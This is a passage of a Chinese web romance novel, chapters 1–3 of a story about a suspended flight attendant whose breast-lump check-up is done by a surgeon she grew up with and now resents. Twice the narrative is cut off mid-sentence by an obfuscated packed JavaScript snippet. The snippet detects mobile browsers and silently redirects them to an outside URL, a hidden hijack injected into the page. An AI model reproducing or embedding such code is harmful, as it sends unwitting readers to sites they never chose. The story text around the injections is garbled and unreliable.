《挂号挂到前男友》 1. 第1章 《挂号挂到前男友》 2026.1.30 晋江文学城/柠小仙 孟夏是被噩梦惊醒的。 午睡时忘了拉帘,此刻窗外已是一片浓稠的夜色,只有远处零星的霓虹灯火在沉沉暮色里明明灭灭。 她盯着那片模糊的光影缓了好一会儿,才后知后觉地反应过来,自己现在是在老家晏城。 三天前,她下飞后被公司告知收到了一通投诉。 若是寻常情况,顶多也就是被当班乘务长在航后总结会上不痛不痒地通报批评几句,可这回偏偏邪门,投诉她的,是航司里一位货真价实的至尊金卡。 投诉理由更是荒谬,说她私生活混乱,乱搞男女关系。 搞笑,她是空姐又不是小.姐,神他爹的乱搞男女关系。要是让她孟夏知道究竟是哪个缺德的在背后泼这种脏水,她非得找上门去,亲手撕烂那人的嘴不可。 可惜这位客人级别太高,加上投诉的由头又沾着点桃色,公司不能不重视,一番权衡之下,只好先给了孟夏停飞调查的决定。 门外传来窸窸窣窣的动静,孟夏掀开薄被,起身拉开了客卧的门。 “醒啦?你这停职要停多久啊?你们公司这处理也太武断了吧?至尊金卡就了不起啊?”好友曾佳怡看她睡眼惺忪地出来,顺手倒了杯温水递过去。 “可不就是了不起呗,我就当是休假了。”她看着正在收拾行李的人又说,“你怎么大周末的还要出差?” “谁让咱们都是任人宰割的牛马呢?”曾佳怡哀叹一声,一屁股坐在箱盖上,试图用全身重量压出更多空间。 冬天衣服厚,没装两件箱子就鼓鼓囊囊,女生出门要带的东西七零八碎,怎么也塞不完。 孟夏看她动作费劲,蹲下身帮她一起拽紧箱链,“我刚从江城滚回来,你就要走,还说今晚能挤一个被窝说说话呢。” “机会有的是。”曾佳怡总算合上箱子,又转身去卧室书桌抽屉里翻找备用钥匙,“你安心在这儿住着,正好没事还能帮我浇浇花。”顿了顿,她看向孟夏,语气试探,“你回晏城的事真不告诉叔叔阿姨?” 孟夏立刻“啧”了一声:“先不说,让他俩知道,肯定立马押我回家,少不了又是一顿车轮战式的思想教育,麻烦。” 曾佳怡耸耸肩,不置可否。 孟夏生在双师家庭,母亲林微澜是数学老师,父亲孟征是语文老师,两人从小对孟夏管教极严,一点小事都能引申出长篇大论,在她耳边念叨许久。 更何况,对于孟夏毕业后独自远赴江城、入职航空公司这件事,二老从一开始就不太赞同。倒不是对空姐这职业本身有什么看法或歧视,只是觉得这行终究是吃青春饭的,更别说女儿还要离乡背井,独自在江城打拼,身边没个照应。 青春饭青春饭,青春的时候不吃,难道等老了再吃?孟夏对这种论调左耳进右耳出。 她无非是从小到大被管束得太紧,太想呼吸一口自由的空气罢了。 曾佳怡拖着行李箱风风火火地离开后,屋子里陡然陷入一片沉寂。 孟夏窝进沙发,百无聊赖地按着电视遥控器,屏幕光影变幻,怔怔地有些出神。 早上在高铁上,她曾刷到一个短视频。 视频里,一个妆容精致的博主用极其恳切的语气说:「水瓶座的宝子们,真的要提前做好“渡劫”准备!今年的运势真的不算顺,尤其是几个关键雷区一定要避开......」。 她耐着性子看到最后,才发现这人竟然是个卖水晶的。 淦! 联想到自己最近诸事不顺的境况,孟夏一边心里骂骂咧咧,一边手指却不受控制地,点开了屏幕左下角的购物链接。 黑着脸,给自己下单了一串号称能转运的紫水晶。 先是租住了三年的房子,在上个月临续租前,突然被房东通知不租了,理由是她还不起房贷打算卖房,接着又是这桩莫名其妙的至尊金卡投诉...... 她简直要怀疑,是不是因为去年本命年,自己倒反天罡、死活不肯穿红内裤,这才招来了迟来的“反噬”。 孟夏烦躁地把遥控器扔到一边,现在的电视节目越来越没劲,不是翻炒冷饭的综艺,就是千篇一律的仙侠情爱。好不容易找到一部有点看头的悬疑剧,又被中途插播的长达90秒的广告折磨得兴致全无,昏昏欲睡。 眼皮正渐渐发沉,搁在一旁充电的手机突然“嗡嗡”连震了好几下。 她拿起来一看,是远在悉尼的祝炎枫发来的消息,连着好几张照片,碧海蓝天,游艇白帆,他正享受着出海潇洒的惬意。 [下飞了吗?还生我气呢?] [让你休假跟我一起来你不来,看看后悔没有?] [明天回去,你休班吗?] 孟夏指尖滑动,将照片一张张点开。 该说不说,风景确实绝佳,照片里的男人戴着墨镜,嘴角噙着笑,正毫不吝啬地展示着他那锻炼得宜的几块腹肌。 接近年底,她为了应付公司里各种各样的考核和考试,忙得焦头烂额,那个节骨眼上休假无疑于抽风。 拒绝祝炎枫的邀请后,他脸色明显沉了下去,但当时的孟夏实在无暇去照顾他那点少爷脾气,两人就这么不冷不热地僵了几天。 这头,她正斟酌着编辑回复,聊天框又“咻”地一声弹出一条消息: [等回去了,跟我回家吃个饭?我妈过生日,这回你总不能再拒绝了吧?] 提到祝炎枫的母亲康逸女士,孟夏的大脑像是被什么绊了一下,出现片刻的空白,敲字的手指悬在屏幕上方,一时不知该落下什么。 “咚咚。”恰在此时,敲门声响起。 “您好,外卖到了。” 孟夏醒过神来,放下手机走到门口,在玄关左侧可视门铃处看见一位背着孩子拎着餐食的女骑手后,她皱着眉打开大门。 “祝您用餐愉快。” “谢谢。” 从对方手中接过温热的袋子,孟夏轻声关上门。 她拿着外卖站在原地想了想,捞起手机,点开黄色软件的后台,找到刚才那笔订单的详情页轻轻叹了口气,指尖点选,给那位背着孩子送餐的女骑手,打赏了五元小费。 - 吃完晚饭,孟夏钻进浴室冲澡。 温热的水流兜头浇下,冲得人有些昏昏然,淋浴到一半,她才想起来行李箱里的固色洗发水忘了拿进来。 被停飞后,孟夏做的第一件“大事”,就是冲进理发店,把一头黑发染成了现在最流行的朴彩英玫瑰粉金。工作时规矩多,发色要求严格,她早就憋坏了,现在工作暂时丢了,自然是迫不及待要体验一把。 她的肤色本就偏白,脸型线条流畅,五官又生得明艳。染上这个颜色后,即便此刻素着一张脸,在浴室氤氲的雾气里,镜中的人也丝毫不显违和,反而衬得肤色愈发通透。 Tony老师染完当时就拉着她好一通拍照,直言要发朋友圈好好宣传一番自己的“作品”,还异常上道地保证绝对不会暴露孟夏的正脸,坚决保护隐私。 孟夏当时一一笑着配合了,毕竟在服务业待久了,好像对谁都能生出几分“都不容易,能帮就帮”的恻隐之心。 头发用干发帽包好,她挤了沐浴乳,开始给身体涂抹泡沫,细腻的泡沫滑过皮肤,掌心之下,却忽然触到一丝异样。 左胸外侧的边缘部位,摸起来似乎......不那么光滑顺畅,好像有一个小小的、硬硬的肿包,藏在皮肉之下,蓄势待发。 不太确定是不是错觉,孟夏的动作停了下来,她关掉水,双手就着残余的湿滑,在胸前那两团绵软上,仔仔细细、一寸一寸地重新按压摸索。 不是错觉,那个地方,确实有一个小肿块。 而且,当她稍加用力按压时,一丝微微的、却不容忽视的痛感,便清晰地传了过来。 她心里咯噔一下,任由花洒里的温水淅淅沥沥冲刷着肩背,半天才想起来好像上个月就有了征兆。 偶尔穿内衣调整时,那里会传来一阵若有似无的、容易被忽略的钝痛。 只是那段时间太忙,航班、考核、会议连轴转,这点小小的不适很快就被抛到脑后,只模糊地想着,等闲下来,抽空去医院看看。 这一等就是一个月,谁知,它不仅没消停,此刻传来的痛感,似乎比记忆里的,更明确了一点。 woc..... 不会是...什么不好的东西吧?发展这么快?难道...... 孟夏心里咯噔再咯噔,慌忙三两下冲掉身上的泡沫,草草擦干,套上睡衣就冲到了客厅,坐到沙发上捧着手机上网搜索。 网上看病,癌症起步。越往下翻,那些触目惊心的描述和案例就越多,字字句句都像冰锥,扎得她浑身发冷,看着看着,她几乎觉得自己明天就要被宣判“大限将至”。 深吸一口气,她猛地将手机屏幕扣在沙发上。 不能再自己吓自己了,孟夏决定明早起床直接到医院。 - 曾佳怡租的房子离晏城第一医院很近,翌日一早,孟夏仔细收拾好自己,出门步行了大概十五分钟,就看到了医院醒目的门诊大楼。 昨晚她做过功课,为了检查,今天羽绒服里面专门穿了一件方便穿脱的针织开衫,并且在医院APP上,特意预约了一位名叫“赵冬梅”的女医生的专家号。 在自助取号机上取好纸质挂号单,按照导医台护士的指引,她乘坐电梯,穿过几条长长的走廊,七拐八绕,终于找到了这个她以前从未踏足过的科室——乳腺外科。 或许是她来得偏晚,也或许是工作日的缘故,诊室门口候诊的人并不算太多,她抬头看了眼电子叫号屏上的信息,又低头核对手中的挂号单。 二十六号,上午问诊的最后一位患者,挺好,等着吧。 她在“赵冬梅”医生的四号诊室门口的候诊区找了个位置坐下,坐了一会儿,眉头微皱,有些纳闷地左右看了看。 隔壁诊室的病患进进出出,门开了又关,关了又开,唯独赵医生这间,大门始终紧闭,毫无动静,安静得有些反常。 难道找赵医生的都是疑难杂症,所以看得特别慢?孟夏心里泛着嘀咕,撇撇嘴,收回了打量四周的视线。 就在她刚闭上眼睛,准备趁等待时间闭目养神片刻时,旁边传来两个年轻女孩的说话声,听着应该是闺蜜。 坐在孟夏邻座的女生问刚从诊室出来的女生情况怎么样,医生怎么说。 “没事!虚惊一场,医生说片子看着没问题,定期复查就行。”顿了顿,女生压低声音又道,“不过...” “不过什么?”邻座女生以为朋友有什么不妥,赶忙追问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟夏“唔”了一声,算了,事已至此,还能怎么样,她默默叹了口气。 蒋芳看她脸上难掩失望,甚至带上了点“视死如归”的愁苦,以为她是担心医生技术,便压低了声音,好心宽慰道:“别担心,陆医生医术也很好的,而且...”蒋芳压低了一些嗓音,“而且陆医生可...” 一位穿着白大褂、面容稚嫩的男生探出头来,目光在候诊区快速扫过,扬声问道,“二十六号在不在?” 孟夏举手:“在!” “可以进来了,到你了。” 诊室不算大,弥漫着淡淡的消毒水气味,正对着门的诊桌后,坐着一位男医生,鼻梁上架着一副细框黑边眼镜,握着一支黑色水笔,低头在一份病历上写着什么。 正如刚才那位女孩所说,诊室另一侧靠墙的长椅上,还规规矩矩坐着三位同样穿着白大褂的实习生。 年轻男医生听到动静,抬眼看向电脑屏幕上的挂号信息,面色平静无波,声音透过口罩传出:“坐。” 听见声音,孟夏愣在原地,双目瞪圆,视线牢牢所在对方身上。 片刻后,她依言走上前,拉开诊椅,坐了下去。 “哪里不舒服?”医生目光依旧落在电脑屏幕上,手指敲击着键盘录入信息,并未分给她半分多余的视线。 孟夏扯了扯唇角:“左胸好像长了个东西,摸到有个小肿块。” 对方闻言,终于停下了敲击键盘的动作,撩起眼皮,目光透过镜片看向她。 “什么时候发现的?有没有其他感觉?” “上个月好像就有点不对劲了,按压的话,感觉会有些疼。” “上个月就发现了,现在才来医院?” “唔。”孟夏含糊地应了一声,没多做解释。 诊桌后的男人双唇微抿,没有再多问,直接利落地起身,绕过诊桌,走向旁边用浅蓝色帘子隔出的检查区,“去后面躺着,做个检查。” 比孟夏反应更快起身的,是旁边那三位早已“严阵以待”的实习生,他们立刻站了起来,俨然做好了近距离观摩学习的准备。 “你们三个不用跟了,上午的学习到此结束,案例分析报告明天上班前交到我邮箱。” 三人先是一愣,随即脸上几乎同时露出“得救了”的轻松表情。 “好的陆老师。” “陆老师再见!” 一上午被轮流提问到几乎自闭,他们亟需去食堂补充点糖分和能量来恢复元气,几人如蒙大赦,迅速收拾好自己的东西,一个接一个,快步离开了诊室。 年轻医生睨了一眼还坐在原地未动的人,温声提醒:“进来。” 孟夏几乎是下意识地站起身,脚步却像灌了铅,挪动得有些缓慢,她踱着小步,磨蹭到那道浅蓝色的帘子后面。 年轻医生背对着她,正在从旁边的操作台上取一次性检查手套,他的背影挺拔,白大褂的肩线平直流畅。 “躺好。”他取出手套,背对着孟夏,声音透过口罩传来,“上衣掀起来,内衣解开。” 孟夏看着他的背影,深吸一口气,双手迟疑地放到了自己开衫的纽扣上。 指尖触到第四颗纽扣时,她忽然一把拢紧已经解开了三颗扣子的上衣前襟,遮掩住骤然暴露在微凉空气中的肌肤,然后“蹭”地一下从检查床边站起身。 “我要求换个医生。” 说着就要往外走。 “孟夏。”陆瞻转身,叫出了她的名字。 2. 第2章 陆瞻站在她身侧,白大褂的衣摆轻轻扫过床边,“放松,抬起手臂,呼吸保持均匀。” “......” 孟夏在心里无声地深吸了一口气,又缓缓吐出。 事已至此,再扭捏反倒显得矫情,她索性摆出一副破罐子破摔的姿态,认命般地将头扭向另一边。 戴好胶质手套后,陆瞻微微俯身,将她胸前的内衣向两侧推了推,手掌轻轻覆盖在孟夏左胸,掌心的温热透过冰凉的手套渐渐传来,缓慢顺时针打圈按压。 孟夏的身体瞬间紧绷,她能清晰地感觉到自己心脏在胸腔里疯狂擂鼓,血液仿佛在耳膜里奔腾呼啸。 察觉到她全身肌肉的僵硬,陆瞻抬眸淡淡瞥了她一眼,“别绷着劲儿,放松。” “这里疼吗?”他的语气平稳。 “不疼。”孟夏从牙缝里挤出两个字。 紧接着,他的手掌聚焦到她之前摸到肿块的左胸外侧,指腹先轻轻按压在肿块大致位置,感受到皮下滑动的硬物后,缓慢向左侧滑动,再向右轻推。 整个过程,动作专业、细致,不带任何狎昵,却让孟夏觉得每一秒都格外漫长难熬。 “深呼吸,别屏气。”陆瞻提醒。 孟夏的大脑其实已经有些空白,她暗暗发誓,下一个本命年,她一定老老实实、心甘情愿地穿上红内裤,外加红内衣! 他的指腹在孟夏腋窝处滑动,力度轻柔无一遗漏,从腋窝顶部到外侧,逐一探查后,再回到胸前内侧象限,完成最后一块区域的触诊。 整个过程持续了大约一分钟,可对于孟夏而言,却仿佛有一个世纪那么漫长。 陆瞻的手掌从她微凉柔软的肌肤上移开。 “可以放下手臂了。”他直起身,一边说着,一边利落地摘下手套,扔进一旁的医疗垃圾桶,“穿好衣服。” 陆瞻转身走向诊桌,指尖无意识地摩挲了一下。 孟夏如蒙大赦,立刻从诊疗床上坐起身,她低着头,飞快地整理好凌乱的上衣前襟,又将已经松散的丸子头重新绑了一遍,穿好鞋子,跟了出去。 “初步诊断为纤维瘤,具体还要去超声科做个检查,问题不大,不要太担心。” 他把打印好的检查单从打印机里拿出来,和病历一起递向她,“做完这些检查拿上结果再找我复诊。”他顿了顿,目光从电脑屏幕上移开,看向她,“明天上午我坐诊。” 孟夏没有立刻回答,只是拿着单子,目光有些复杂地、居高临下地看着坐在诊椅里的男人。 还没等她开口,陆瞻语气淡淡,带着一丝了然,说:“赵医生出差,短时间内不回来。” 孟夏:“......” 她极轻地“啧”了一声,撇开视线,语气硬邦邦地回了一个字:“哦。” 对方似乎对她的反应并不意外,重新将注意力放回电脑屏幕,手指在键盘上快速敲击几下,“给你约明天上午的复诊,有问题吗?” “没有。” “嗯,”陆瞻应声,“回来休假?” 孟夏没接话,没好气地冷哼一声,接过对方递来的病历,蹬着脚下5厘米的小皮鞋,咔哒咔哒转身走了。 诊室里似乎还隐约残留着一丝她身上带来的、甜腻而富有存在感的香气,像是某种花果调的香水,与原本清冷的消毒水气味格格不入地交织在一起。 陆瞻看着她的背影,摘下眼镜,揉了揉眉心。 - 林微澜拄着拐杖要给陆瞻倒水,被他拦了下来,“林老师您别忙了,我坐会儿就走。” 上周,她去学校上班的路上被人不小心撞了一下,脚踝扭伤,肿得老高,去医院就诊拍片子的时候,刚好被陆瞻碰上。 这几日,只要不值班、手术结束得早,他总会绕道过来坐一坐,看看有没有什么需要帮忙的。 孟夏的妈妈林微澜,是陆瞻高一时的数学老师。 除却这层师生关系,陆瞻也算林微澜看着长大的半个干儿子,毕竟,他童年和少年时期大半的饭,可以说都是在孟家这张饭桌上吃的。 陆瞻的妈妈顾若秋走的早,在他刚上小学的时候就因为癌症去世了。 爸爸陆川合是研究所的物理教授,一辈子将热情与心血都献给了科学前沿,是位无可指摘的优秀研究员,却在家庭角色上,尤其在妻子离世后,成了个彻底“失职”的父亲。 妻子走后他悲痛难忍,更是两耳不闻窗外事,一心扑在自己的物理实验中,身为顾若秋好友的林微澜便担起了照顾陆瞻的重任,反正两家住的近,无非就是添双筷子的事。 好在陆瞻这孩子从小就格外懂事省心,学习从不用人督促,生活上也能把自己打理得井井有条,极少给林微澜添麻烦,反倒让她常常感叹“若秋有个好儿子”。 纵使陆瞻再三推让,林微澜还是坚持撑着拐杖,慢悠悠地去给他沏了杯热茶,“尝尝看,这是夏夏前阵子寄回来的龙井,知道她爸就爱这口,上次飞杭州过夜,特意去茶山那边买的。” 陆瞻没再客气,端起白瓷杯抿了两口,茶汤清亮,入口醇和,“味道很好。” 他放下杯子,顺势接话道,“您的脚伤.....她知道吗?” 林微澜摆摆手,“这点小伤告诉她干什么?她那工作,整天在天上飞,作息颠三倒四,睡也睡不好,吃饭更是没个准点。她能把自己照顾好,我就阿弥陀佛了,多一事不如少一事。” 陆瞻闻言,心里顿时了然,看来孟夏在晏城的事,这两位老师还不知情。 林微澜像是忽然想起什么,又特意叮嘱他:“你也别跟夏夏说啊,你们兄妹俩平常聊天的时候,可得注意,别说漏了嘴。”她只当陆瞻和孟夏虽然一个在晏城一个在江城不常碰面,但总归是从小一起长大的兄妹情谊,平时肯定少不了会联络。 陆瞻笑容淡淡,心里掠过一丝微嘲,连微信都没有的人,平常怎么会聊天。 “对了小陆,”林微澜给他削了个苹果递过去,“我记得你比夏夏大三岁吧,今年得有..” 陆瞻道了声谢,接过话头:“二十八。” “对对,夏夏二十五,你可不就二十八了嘛。”林微澜轻声笑笑,“转眼你们都这么大了,夏夏这孩子都有对象了,小陆,你这个做哥哥的,还不打算处个女朋友?我们办公室朱老师的外甥女,好像也是在医疗系统工作的,要不......介绍你们认识认识?” 林微澜早已将陆瞻视如己出,好友早逝,她自动代入了顾若秋的角色,对陆瞻的人生大事,总免不了挂心。 自家女儿远在江城,她一时半会儿鞭长莫及,可这半个儿子就在眼前,她觉得自己总能操上几分心,催促一二。 陆瞻坐的端正,脊背挺的很直,左手拿着微微氧化了的苹果,右手轻扶了一下镜框后抵在唇边,“抱歉林老师,我暂时...还没有考虑个人问题的打算。” “现在还不考虑?”当了一辈子教师,难免有些说教的职业病,林微澜也不例外,她下意识地提高了音量,“你这工作也稳定了,主治也聘上了,事业算是立住了。人生在世,总还是要分些精力给其他事情的,你说呢?成家立业,都是大事。” 陆瞻只觉头皮隐隐发麻,他不好继续生硬地直言拒绝,却也实在无法应承。只能沉默下来,垂下眼睫,一口一口,慢慢吃掉手中的苹果。 林微澜见状也不再勉强,撑着拐杖慢慢起身,一瘸一拐地挪到厨房,不一会儿,拿了两袋用保鲜袋装好的卤牛肉出来。 “新卤的,用的腱子肉。”她将其中一袋递给陆瞻,“这袋没放辣椒的你带回去吃,放冰箱,能放几天。”又将另一袋已经抽好真空、贴好了快递单的递过去,“这袋带辣椒的....你一会儿下楼,顺便帮我送到小区门口的快递站,信息我都填好了。” 寄给谁,不言而喻。 口味都南辕北辙的人,或许从一开始,就不该硬凑到同一张餐桌。 陆瞻点点头,“好。” - 晚上,孟夏独自窝在曾佳怡公寓的沙发上,面前摆着一份色彩鲜艳却味道寡淡的轻食沙拉。她用叉子有一下没一下地戳着里面的牛油果块,脑海里却不受控制地反复回放着白天在医院里的那一幕幕。 今天的经历实在够魔幻,她记得去年听老爸孟征提过一嘴,说陆瞻在市四医工作,怎么今天却在这儿碰上了? 一回忆上午做检查时的场景她就觉得别扭,早知道当时要求换医生的时候应该更坚定一些,不就是被激了两句吗,自己也太沉不住气了。 越想越尴尬,她习惯性地点开小番薯,切换到那个谁也不认识的momo小号,噼里啪啦敲字吐槽。刚按下发送键,一个电话就打了进来。 “喂?”孟夏往嘴里塞了几颗坚果,嚼得咔嚓响。 “孟夏!”祝炎枫含着明显怒意的声音从那头传来,“昨天发的消息你到今天一条都不回?我刚去你那儿,看你飞行箱还在家放着,人呢?去哪儿了?” “我回晏城了。” “晏城?”对面的人明显愣了几秒,“你休假了?” 孟夏暂时不想把自己被停飞的事情告诉他,两人在一起后祝炎枫本来就有意无意劝她换个工作,这会儿要是知道了,肯定又要借题发挥。 她含糊地“唔”了一声,算是默认。 可她这副似是而非的态度,似乎更激怒了电话那头的人。 “我求着你休假一起出去旅游,你推三阻四死活不肯,现在倒好,说休就休,一声不吭跑回晏城,连招呼都不跟我打一个?”祝炎枫的声音拔高,带着被忽略的不满。 似是想到什么,他又冷笑一声,“不是吧孟夏,就因为我说让你跟我回家吃个饭,你就躲回晏城?至于吗?你是我女朋友,我妈过生日一起吃个饭怎么了?” “你旅游也不一定非要我陪吧?”孟夏的火气也“噌”地一下上来,她是典型的吃软不吃硬,此刻被对方这连珠炮似的指责一激,胸腔里那股灼热的气息像是要喷出火来,比对方还要愤怒。 “我看你和别人一起玩得不是照样挺开心、挺潇洒的吗?我回晏城怎么了?还需要提前跟你打报告申请批准吗?我回来看病不行吗?” 她不是没见过祝炎枫的妈妈,相反,她不仅见过,对方还貌若亲善地主 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电话那头安静了片刻,似乎是在斟酌,“我明天上午有个很重要的会议,早就定好了,实在走不开。”祝炎枫的声音带着商量的口吻,“你先去复诊,等结果出来了,具体什么情况,你再告诉我,行吗?” - 第二天一早孟夏先去医院一楼机器上打印昨天的检查单,接着乘电梯到老位置候诊,她看六号诊室大门敞开,过去朝里面打量了一圈。 路过的护士蒋芳对她那头粉金发色印象很深,走到她身后说,“找陆医生吗?他刚去楼上会诊了,你可以进诊室坐着等。” 孟夏闻言点了点头,进去拉开椅子坐下,随手把检查单放在桌子上。 等得无聊,她拿出手机,习惯性点开小番薯,却被消息栏惊人的数字吓了一跳,点开才发现,是昨晚随手发的那篇吐槽帖爆了,引来无数双小眼睛疯狂围观。 原帖正文: [啊啊啊啊啊啊啊啊我人没了!最近胸口一直胀痛,今天摸到左胸好像有个小肿块,吓得我赶紧挂了乳腺外科去检查,谁知道挂号挂到前男友,推门进去发现接诊的帅哥竟然是我前任! 家人们谁懂啊??!要在前任面前淡定的撩起衣服,被他一脸专业地盯着检查胸部...我脚趾已经抠出了一座魔仙堡!!!(灬??灬)(╥╯^╰╥)] 她本来想求得薯友们的安慰和开解,没想到评论区彻底歪楼: @momo:[等等...这是什么狗血玛丽苏小说开头哈哈哈哈哈哈!](点赞279) @吃瓜的兔子:[姐妹别慌,先告诉我,他手抖了吗?](点赞186) @重生之我在红薯当猹:[不许删帖!蹲一个后续,没有后续我就默认你在起号。](点赞123) ...... 孟夏看得眼皮直跳。 不知什么时候,陆瞻已经站在她身旁,伸手拿起了桌上的检查单,垂眸细看。 她连忙锁了手机屏幕。 过了片刻,他低头看向她,语气平淡:“超声结果很典型,就是乳腺纤维瘤,目前不到1.5cm,你看是选择定期复查,还是手术切除?” “定期复查是什么意思?”孟夏皱眉。 “每六到十二个月做一次超声,观察变化,不排除它会继续长大。” “继续长大会怎样?还是要手术切除?” “嗯。”陆瞻不急不缓,“所以我建议你可以考虑微创切除,创伤小,恢复快。” 孟夏下意识地抠着手指,拧着眉纠结。 早切晚切都要切,反正现在停职,不如直接做了。 可是...不会留疤吧? 陆瞻将她的B超单放下,在她的病历本上写了两行眉飞色舞的草书,抬头瞥了眼来看个病也要化全妆的孟夏,“你不是疤痕体质,微创基本不会留疤,不用过于担心。” 你又知道了? 孟夏撇撇嘴,没应声。 空气安静了一瞬。 “下周一下午我在门诊手术,”陆瞻摘下眼镜,“你方不方便?” 她倏地站起身:“手术也是你做?” 陆瞻看了她一眼:“有什么问题?” 他越是平淡,孟夏越不肯露怯,她抬手漫不经心地拨了拨肩头的长发,“我能...有什么问题?下周一就下周一。” 神情姿态一如陆瞻从前熟悉的那般,他睨着她,半晌没说话。 孟夏被他看的有些不自然,耐心告罄,收好病历本转身就要离开。 “孟夏。”陆瞻叫住她,起身走近两步,语气斟酌,“林老师新卤了牛肉,让我给你。” 虽然不知道为什么她回了晏城却没告诉两位老师,但他想着,孟夏既然人在晏城,直接交给她更方便。 这话一出,孟夏面色一沉,她以为陆瞻多嘴,把自己回晏城的事告诉了林微澜。 猛地转过身,她剜了他一眼,声音隐含怒意:“你没事吧陆瞻?都多少年了,你怎么还是这样,” 她吸了口气,一字一顿: “告密成瘾?” 3. 第3章 话音落下没多久,反应过来的孟夏就有些后悔了,要是林微澜真知道她回来了,恐怕早就电话轰炸了,哪会这么风平浪静。 “咳,抱歉。”好在她这人最擅长的就是道歉,不管是真心还是假意,姿态先摆出来,“你什么时候方便?今晚?” 面对他的孟夏,好像永远是这么一副坦荡无畏的样子,哪怕明知道自己理亏,脊背也挺得笔直,下巴扬着,眼底愧疚都没有,反倒带着点理直气壮的趾高气昂。 陆瞻看着这样的她,心里很清楚,只有真正不在意的人,才能这样无所畏惧。 没等他回答,柯远修正好从胸外科回来,路过门口时敲了敲门框:“小陆,晚上下班李主任请客聚餐,看你在群里没吱声,我跟你说一声。” 陆瞻忙了一上午还没时间看手机,闻言不咸不淡地应了一声。 孟夏如梦初醒,耸耸肩,“看来今晚你不太方便。” 陆瞻没在意她之前的情绪起伏和无辜迁怒,似是早就习惯。 他上前一步,掏出手机,“加个微信,晚点给你发术前注意事项,”顿了顿又补充,“卤肉我尽快拿给你。” “哦。” 刚误会过人的孟夏不好意思拒绝,点了点头,直到扫码添加失败才想起来,陆瞻还躺在她的黑名单里。 朋友圈里不一定有朋友,黑名单里一定有故人。 若无其事坦然自若地把他放出来之后,孟夏收起手机,重新背上那只奶油白的贝壳包,踱步朝电梯方向走去。走了一会儿,察觉到身后不远不近跟着的脚步声,她侧过头,用眼神无声地问: 你跟着我干嘛? 陆瞻握拳掩在唇边,轻咳一声,“我去一楼药房。” 孟夏不置可否地挑了挑眉。 或许是临近中午,电梯里除了他俩空无一人,梯门合上的瞬间,狭小的空间里只剩下轿厢下降的轻微嗡鸣,两人一前一后站着,密闭的环境让此刻的沉默显得格外突兀。 “回来待几天?”身后的男人冷不丁开口。 “说不准。” 陆瞻点了点头,没去深究她这回答是不是敷衍,“男朋友呢?看病不陪着,手术那天也不来陪你?” 她猛地扭过头瞥了他一眼,眼神里带着不解和一丝烦躁,这人是不是抽风了?问这个问题干嘛?他们俩是聊这种话题的关系吗? 电梯在一楼平稳到达,孟夏未置一词地快步离开,粉金色马尾在空中一摆一摆,直至消失。 从医院出来后,她在附近随便找了家店解决午饭,然后拿出手机,打车去昨晚在某评App上收藏的一家室内抱石馆。 在空中飞了三年多,孟夏没培养出什么太健康的爱好或习惯,一半是时间不允许,一半是自己偷懒,唯一喜欢上并且坚持下来的,大概只有每周一次的抱石。 飞航班时总得端着微笑、按流程做事,连呼吸都得顾着分寸。 可站在岩壁前,不用管旅客、不用守规矩,只用指尖扣住岩点往上爬,累到手臂发抖也咬牙撑着,登顶的那一刻,每一趟航班上攒的所有憋闷都散了。 孟夏瘫坐在抱石馆的休息区软垫上,额前碎发被汗水濡湿贴在皮肤上,她随手抓起一旁的矿泉水灌了几口,半天才缓过劲来。 习惯性的从包里摸出手机看看时间,亮屏的瞬间跳出一串未接来电,全是同事苏见萤的号码,她挑眉划开屏幕,按上回拨键。 对面接的很快,孟夏问她怎么了,苏见萤说她刚在公司开完会,在部长办公室看见了一个女生的背影,好像就是这人投诉的孟夏。 “齐肩短发,个子不是很高的样子,你在飞的时候有没有印象?” 孟夏哧笑一声:“你说的再笼统抽象一点呢?你这描述感觉机上百分之七八十的人都能符合。” 苏见萤又想到什么,“差点忘了,我偷拍了一张背影,现在发你微信。” 她操作完又切回通话,“你看看,我路过的时候听见她们提到你的名字,不出意外应该就是投诉的事情。” 孟夏看了眼微信刚收到的照片,抱石馆信号不佳,图片加载了一会儿才清晰显现,她放大又缩小,跟电话那头的人道:“没印象。” 航班上人来人往,形形色色的旅客太多,这样一个模糊的背影,实在对不上号。 “好吧。”苏见萤叹了口气,有些失望,随即又打起精神,“不过我猜,公司最近应该会正式通知你处理结果了,总不能一直这么停飞下去吧?你不在,我连吐槽搭子都没有了,飞得好没意思。” 孟夏和苏见萤是一起入职的同期,刚毕业的时候孟夏还没找到合适的房子,在江航宿舍住过几个月,当时的舍友就是苏见萤。 两人都是水瓶座,可以算是一见如故,聊起任何话题能瞬间打开话匣子,思维跳脱却总能精准接住对方的梗。 即便后来孟夏搬了出去,这段友情也一直延续着。 挂了电话,孟夏又点开微信,盯着那张偷拍来的照片看了好一会儿,总觉得有种淡淡地熟悉感,却始终想不起来这人到底在哪儿见过。 - 李鸣定的聚餐地点在“瑞澜”,晏城新开业没几年的综合酒店,一二楼是餐厅和宴会厅,楼上是星级酒店住宿。 陆瞻下班前因查房耽误了些时间,抵达时,科室其他人已基本到齐。 主位坐着组织者李鸣,乳腺外科的副主任,他身旁是科里另一位副主任章军怀,也是陆瞻进一院后名义上的“带教老师”。 今晚这局的目的,大家心照不宣,原科主任申请了外派,院里正物色新主任,人选大概率从两位副主任中择优提拔。 按照一院传统,内部提拔会参考所属科室医生的意见。 乳腺外科除了陆瞻,其他几位都是有资历的“老人”,立场基本明确。唯有他,作为刚从市四院调来不久、聘上主治没两年的年轻医生,成了那个关键的“不确定因子”。 微妙之处在于,陆瞻进科时由章军怀带着,李鸣今晚组局,不能说没有探他口风的意思。 身在职场,没有一个人能独善其身,置身事外,陆瞻即便无心科里院里的派系之争,但人在江湖,总会身不由己。 若真要选,他内心自然更倾向章军怀,章副主任医术精湛,一心扑在临床,况且当时聘主治的时候对他也有提携之情。 酒过三巡,李鸣自然地拉近距离:“小陆个人问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202990|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 